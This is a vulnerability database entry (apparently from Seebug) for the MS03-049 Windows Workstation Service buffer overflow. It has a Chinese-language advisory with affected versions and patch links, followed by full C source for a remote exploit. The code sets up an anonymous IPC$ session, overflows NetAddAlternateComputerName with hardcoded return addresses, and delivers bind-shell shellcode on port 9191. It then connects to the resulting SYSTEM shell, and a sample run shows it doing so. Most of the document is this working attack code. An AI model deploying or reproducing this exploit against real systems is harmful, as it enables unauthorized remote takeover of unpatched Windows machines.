MS Windows XP Workstation Service Remote Exploit (MS03-049)

2003-12-04T00:00:00
ID SSV:13799
Type seebug
Reporter Root
Modified 2003-12-04T00:00:00

Description

<p><strong>漏洞描述:</strong></p><p>Microsoft DCE/RPC服务可以提供网络管理功能,这些功能提供管理用户帐户和网络资源管理的功能。部分网络管理功能在Windows目录下的"debug"子目录会生成调试日志文件。</p><p>Microsoft Workstation服务在处理日志记录时缺少充分的边界缓冲区检查,远程攻击者可以利用这个漏洞提供超长参数触发缓冲区溢出,以SYSTEM权限在系统上执行任意指令。 </p><p>日志功能中使用vsprintf()在日志文件中生成字符串,日志文件名为"NetSetup.LOG",其保存在Windows "debug"目录中。 </p><p>这个记录函数有部分处理Workstation服务命令的函数调用,如"NetValidateName", "NetJoinDomain"等,在这NetValidateName()中,"computer name"作为第二个参数最终记录在日志文件中。</p><p> 如我们使用NetValidateName() API:NetValidateName(L"\\192.168.0.100","AAAAAAAA",NULL,NULL,0); 那么我们可以在远程主机中产生如下记录条目:</p><p>08/13 13:01:01 NetpValidateName: checking to see if '' is valid as type 0 name </p><p>08/13 13:01:01 NetpValidateName: '' is not a valid NetBIOS \AAAAAAAA name: 0x57 </p><p>如果我们指定超长字符串作为NetValidateName() API的第二个参数,如果调试文件可写就可以在特定主机上发生缓冲区溢出。</p><p> 一般如果是NTFS文件系统,在Windows目录中的"debug"目录不允许所有人可写,这表示不能使用NULL会话来生成日志。WsImpersonateClient() API在打开日志文件前调用,如果连接客户端没有有效的权限来写日志文件,那么CreateFile()就会失败,vsprintf()就不会被执行,因此此漏洞在FAT32系统和"%SYSTEMROOT%\debug"目录可写的情况下可被利用。 </p><p>但是部分扩展RPC函数实现在Windows XP上在调用WsImpersonateClient()前打开日志文件,不过这些RPC函数没有提供文档化说明,不过可以观察在WKSSVC.DLL中的函数表观察到。这些扩展命令的RPC号开始于0x1B,如0x1B调用NetpManageComputers(),但在打开日志文件前不调用WsImpersonateClient()。</p><p>NetpManageComputers()的使用没有被公开化,但是我们可以在"LMJoin.h"中找到NetAddAlternateComputerName() API的原型定义,这个API从NETAPI32.DLL导出,这个API也一样没有文档化。我们可以执行这个RPC函数(0x1B)使用如下API产生包:</p><p>NetAddAlternateComputerName(L"\\192.168.0.200",long_unicode_string,NULL,NULL,0); </p><p>我们不需要特殊权限在远程主机上写第二个产生到日志文件中,如定义超长Unicode字符串作为第二个参数("AlternateName"),在第一个参数定义的远程系统就会由于缓冲区溢出而崩溃。Unicode字符串"long_unicode_string"会在日志记录函数调用前被转换为ASCII字符串。</p><p><strong>漏洞影响:</strong></p><p>受影响系统:</p><p>•Microsoft Windows 2000 Service Pack 2, Service Pack 3, Service Pack 4 </p><p>•Microsoft Windows XP, Microsoft Windows XP Service Pack 1 </p><p>•Microsoft Windows XP 64-Bit Edition</p><p>不受影响的系统:</p><p>•Microsoft Windows NT Workstation 4.0, Service Pack 6a </p><p>•Microsoft Windows NT Server 4.0, Service Pack 6a </p><p>•Microsoft Windows NT Server 4.0, Terminal Server Edition, Service Pack 6</p><p>•Microsoft Windows Millennium Edition </p><p>•Microsoft Windows XP 64-Bit Edition Version 2003 </p><p>•Microsoft Windows Server 2003 </p><p>•Microsoft Windows Server 2003 64-Bit Edition </p><p><strong>CVE-ID:CVE-2003-0812 </strong></p><p><strong>CNNVD-ID:CNNVD-200312-058</strong></p><p><strong>CNVD-ID:CNVD-2003-3336 </strong></p><p><strong>解决方案:</strong></p><p>Microsoft</p><p> --------- </p><p>Microsoft已经为此发布了一个安全公告(MS03-049)以及相应补丁:</p><p>MS03-049:Buffer Overrun in the Workstation Service Could Allow Code Execution (828749)链接:<a href="http://www.microsoft.com/technet/security/bulletin/MS03-049.asp">http://www.microsoft.com/technet/security/bulletin/MS03-049.asp</a></p><p>补丁下载:Microsoft Windows 2000 Service Pack 2, Service Pack 3, Service Pack 4 <a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=2467FE46-D167-479C-9638-D4D79483F261&displaylang=en">http://www.microsoft.com/downloads/details.aspx?FamilyId=2467FE46-D167-479C-9638-D4D79483F261&displaylang=en</a> </p><p>Microsoft Windows XP, Microsoft Windows XP Service Pack 1 <a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=F02DA309-4B0A-4438-A0B9-5B67414C3833&displaylang=en">http://www.microsoft.com/downloads/details.aspx?FamilyId=F02DA309-4B0A-4438-A0B9-5B67414C3833&displaylang=en</a> </p><p>Microsoft Windows XP 64-Bit Edition <a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=2BE95254-4C65-4CA5-80A5-55FDF5AA2296&displaylang=en">http://www.microsoft.com/downloads/details.aspx?FamilyId=2BE95254-4C65-4CA5-80A5-55FDF5AA2296&displaylang=en</a></p>

                                        
                                            
                                                /* To build new netapi32.lib
		pedump /exp netapi32.dll &gt; netapi32.exp
		buildlib netapi32.exe netapi32.exp netapi32.lib netapi32.dll


d:\&gt;rpc_wks_bo.exe

WKS service remote exploit MS03-049 by fiNis (fiNis[at]bk[dot]ru), ver:0.1.1
-------------------------------------------------------------------
Usage: rpc_wks_bo.exe [-ht]
	-h &lt;IP&gt;    : Target IP
	-t &lt;Type&gt;  : Target type (-t0 for a list)

d:\&gt;rpc_wks_bo.exe -t0

Possible targets are:
============================
1) Window XP Pro + SP0 [Rus]
2) Window XP Pro + SP1 [Rus]
3) Crash all

d:\&gt;rpc_wks_bo.exe -h 192.168.100.7 -t1

[+] Prepare exploit string
[+] Sleep at 2s ...
[+] Setting up IPC$ session...
[+] IPC$ session setup successfully!
[+] Sending exploit ...
[+] Initialize WSAStartup - OK
[+] Socket initialized - OK
[+] Try connecting to 192.168.100.7:9191 ...
[*] Connected to shell at 192.168.100.7:9191

Microsoft Windows XP [Âåðñèÿ 5.1.2600]
(Ñ) Êîðïîðàöèÿ Ìàéêðîñîôò, 1985-2001.

C:\WINDOWS\system32&gt;

*/
/**************** Public version *****************/
#include &lt;stdio.h&gt;
#include &lt;io.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;winsock2.h&gt;
#include &lt;windows.h&gt;
#include &lt;process.h&gt;

#pragma lib &lt;ws2_32.lib&gt;
#pragma lib &lt;netapi32.lib&gt;
#pragma lib &lt;mpr.lib&gt;

#define RECVTIMEOUT		1
#define VER				&quot;0.1.4&quot;

extern char getopt(int,char **,char*);
extern char *optarg;


// ------------------------------------------------
void NetAddAlternateComputerName(wchar_t *Server, wchar_t *AlternateName, wchar_t * DomainAccount,
				wchar_t *DomainAccountPassword, unsigned int Reserved);
void send_exp();
// ----------Lamers buff =) ----------------------------
	char expl[3000];
	wchar_t expl_uni[6000];
	char tgt_net[30];
	wchar_t tgt_net_uni[60];
	char ipc[30];
// -----------------------------------------------------
struct {
	char *os;
	long jmpesp;
}
targets[] = {
	{ &quot;Window XP + SP0 [Rus]            &quot;, 0x77f5801c }, // 0x77d6754a(user32.dll)
	{ &quot;Window XP + SP0 + Rollup [Rus]   &quot;, 0x77f98db7 },  //0x77d639ab-work 0x77fb59cc - sp1
	{ &quot;Window XP + SP1 [Rus]            &quot;, 0x77fb59cc },
	{ &quot;Window XP + SP1 + Rollup [Rus]   &quot;, 0x77f9980f },  // 0x77d637db(user32.dll)
	{ &quot;Crash all                &quot;, 0x41424344 }
}, tgt_type;

unsigned char shellcode[] = // bind shell at 9191 port (484 bytes) // ripped =)
	&quot;\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33&quot;
	&quot;\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C&quot;
	&quot;\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE&quot;
	&quot;\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB&quot;
	&quot;\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77&quot;
	&quot;\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77&quot;
	&quot;\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77&quot;
	&quot;\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77&quot;
	&quot;\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77&quot;
	&quot;\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77&quot;
	&quot;\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77&quot;
	&quot;\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77&quot;
	&quot;\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77&quot;
	&quot;\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB&quot;
	&quot;\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C&quot;
	&quot;\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0&quot;
	&quot;\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77&quot;
	&quot;\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0&quot;
	&quot;\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB&quot;
	&quot;\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5&quot;
	&quot;\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98&quot;
	&quot;\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE&quot;
	&quot;\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77&quot;
	&quot;\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8&quot;
	&quot;\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF&quot;
	&quot;\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90&quot;
	&quot;\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74&quot;
	&quot;\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4&quot;
	&quot;\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94&quot;
	&quot;\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5&quot;
	&quot;\xD3\x4A\x8C\x88&quot;;


/***************************************************************/
void banner() {
	printf(&quot;\nWKS service remote exploit by fiNis (fiNis[at]bk[dot]ru), ver:%s\n&quot;,VER);
	printf(  &quot;-------------------------------------------------------------------\n&quot;);
}

void showtargets() {
	int i;
	printf(&quot;Possible targets are:\n&quot;);
	printf(&quot;============================\n&quot;);
	for (i=0;i&lt;sizeof(targets)/sizeof(tgt_type);i++) {
		printf(&quot;%d) %s\n&quot;,i+1,targets[i].os);
	}
	exit(1);
}

void usage(char *prog) {
	banner();
	printf(&quot;Usage: %s [-ht]\n&quot;, prog);
	printf(&quot;\t-h &lt;IP&gt;    : Target IP\n&quot;);
	printf(&quot;\t-t &lt;Type&gt;  : Target type (-t0 for a list)\n&quot;);
	exit(1);
}

/***************************************************************/
long gimmeip(char *hostname)
{
	struct hostent *he;
	long ipaddr;

	if ((ipaddr = inet_addr(hostname)) &lt; 0)
	{
		if ((he = gethostbyname(hostname)) == NULL)
		{
			printf(&quot;[x] Failed to resolve host: %s! Exiting...\n\n&quot;,hostname);
			WSACleanup();
			exit(1);
		}
		memcpy(&amp;ipaddr, he-&gt;h_addr, he-&gt;h_length);
	}
	return ipaddr;
}

// ************************************* CMD *****************************
/*
 * Ripped from TESO code and modifed by ey4s for win32
 */

void cmdshell2(int sock) {
	int l;
	char buf[1000];
	struct timeval time;
	unsigned long ul[2];

	time.tv_sec=RECVTIMEOUT;
	time.tv_usec=0;

	while (1) {
		ul[0]=1;
		ul[1]=sock;

		l=select(0,(fd_set *)&amp;ul,NULL,NULL,&amp;time);
		if(l==1) {
			l=recv(sock,buf,sizeof(buf),0);
			if (l&lt;=0) {
				printf(&quot;[x] Connection closed.\n&quot;);
				return;
			}
			l=write(1,buf,l);
			if (l&lt;=0) {
				printf(&quot;[x] Connection closed.\n&quot;);
				return;
			}
		}
		else {
			l=read(0,buf,sizeof(buf));
			if (l&lt;=0) {
				printf(&quot;[x] Connection closed.\n&quot;);
				return;
			}
			l=send(sock,buf,l,0);
			if (l&lt;=0) {
				printf(&quot;[x] Connection closed.\n&quot;);
				return;
			}
		}
	}
}

/****************************************************************/
void send_exp() {
	NETRESOURCE _IPC_;

	_IPC_.lpLocalName = NULL;
	_IPC_.lpProvider = NULL;
	_IPC_.dwType = RESOURCETYPE_ANY;
	_IPC_.lpRemoteName = (char*)&amp;ipc;
	printf(&quot;[+] Setting up IPC$ session...\n&quot;);
	if (WNetAddConnection2(&amp;_IPC_,&quot;&quot;,&quot;&quot;,0)!=ERROR_SUCCESS) {
		printf(&quot;[x] Couldn't establish IPC$ connection.\n&quot;);
		exit (1);
	}
	printf(&quot;[*] IPC$ session setup successfully!\n&quot;);
	printf(&quot;[+] Sending exploit ...\n&quot;);

	NetAddAlternateComputerName(tgt_net_uni, expl_uni ,NULL,NULL,0);
	// ka-a-a b0-0-0-ms //
}

// ***************************************************************
int main(int argc,char *argv[])
{
	WSADATA wsdata;
	int sock;
	unsigned short port = 9191;
	struct sockaddr_in target;
	unsigned long ip;
	char opt;
	int tgt_type = 0;
	char *tgt_host;

	if (argc&lt;2) { usage(argv[0]); }

	while((opt = getopt(argc,argv,&quot;h:t:v&quot;))!=EOF) {
		switch(opt)
		{
			case 'h':
				tgt_host = optarg;
				snprintf(tgt_net,127, &quot;\\\\%s&quot;, optarg);
				snprintf(ipc,127, &quot;\\\\%s\\ipc$&quot;, optarg);
				break;
			case 't':
				tgt_type = atoi(optarg);
				if (tgt_type == 0 || tgt_type &gt; sizeof(targets) / 8) {
					showtargets();
				}
				break;
			default:
				usage(argv[0]);
				break;
		}
	}

	printf(&quot;\n[+] Prepare exploit string\n&quot;);

	memset(expl, 0x00, sizeof(expl));
	memset(expl, 0x41, 2064);
	memcpy(&amp;expl[2044], (unsigned char *) &amp;targets[tgt_type-1].jmpesp, 4);
	//memcpy(&amp;expl[2044], &quot;BBBB&quot;, 4);
	memcpy(&amp;expl[2064], shellcode, sizeof(shellcode));		// begin shellcode here

	memset(expl_uni, 0x00, sizeof(expl_uni));
	memset(tgt_net_uni, 0x00, sizeof(tgt_net_uni));
	mbstowcs(tgt_net_uni, tgt_net, sizeof(tgt_net));

	switch(tgt_type) {
		case 1:
		case 3:
	MultiByteToWideChar(CP_ACP, 0, expl, sizeof(expl), (unsigned short *)expl_uni,sizeof(expl_uni));
	// MultiByteToWideChar - 100 % work at XP+SP0+Rollup
	break;
		case 2:
			mbstowcs(expl_uni, expl, sizeof(expl)); // work at XP+SP1
			break;
		default:
			mbstowcs(expl_uni, expl, sizeof(expl));
			break;
	}

	beginthread(send_exp,0,NULL);

	printf(&quot;[+] Sleep at 2s ... \n&quot;);
	sleep(2000);

	if (WSAStartup(MAKEWORD(2,0),&amp;wsdata)!=0) {
		printf(&quot;[x] WSAStartup error...\n&quot;);
		WSACleanup();
        return 1;
	}
	printf(&quot;[+] Initialize WSAStartup - OK\n&quot;);

	if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))&lt;0) {

		printf(&quot;[x] Socket not initialized! Exiting...\n&quot;);
		WSACleanup();
        return 1;
	}
	printf(&quot;[*] Socket initialized - OK\n&quot;);

	ip=gimmeip(tgt_host);
	memset(&amp;target, 0, sizeof(target));
	target.sin_family=AF_INET;
	target.sin_addr.s_addr = ip;
	target.sin_port=htons(port);

	printf(&quot;[+] Try connecting to %s:%d ...\n&quot;,tgt_host,port);

	if(connect(sock,(struct sockaddr *)&amp;target, sizeof(target))!=0) {
			printf(&quot;\n[x] Exploit failed or is Filtred. Exiting...\n&quot;);
			WSACleanup();
			exit(1);
	}

	printf(&quot;[*] Connected to shell at %s:%d\n\n&quot;,inet_ntoa(target.sin_addr),port);
	cmdshell2(sock);
	closesocket(sock);
	WSACleanup();
	return 0;
}



// sebug.net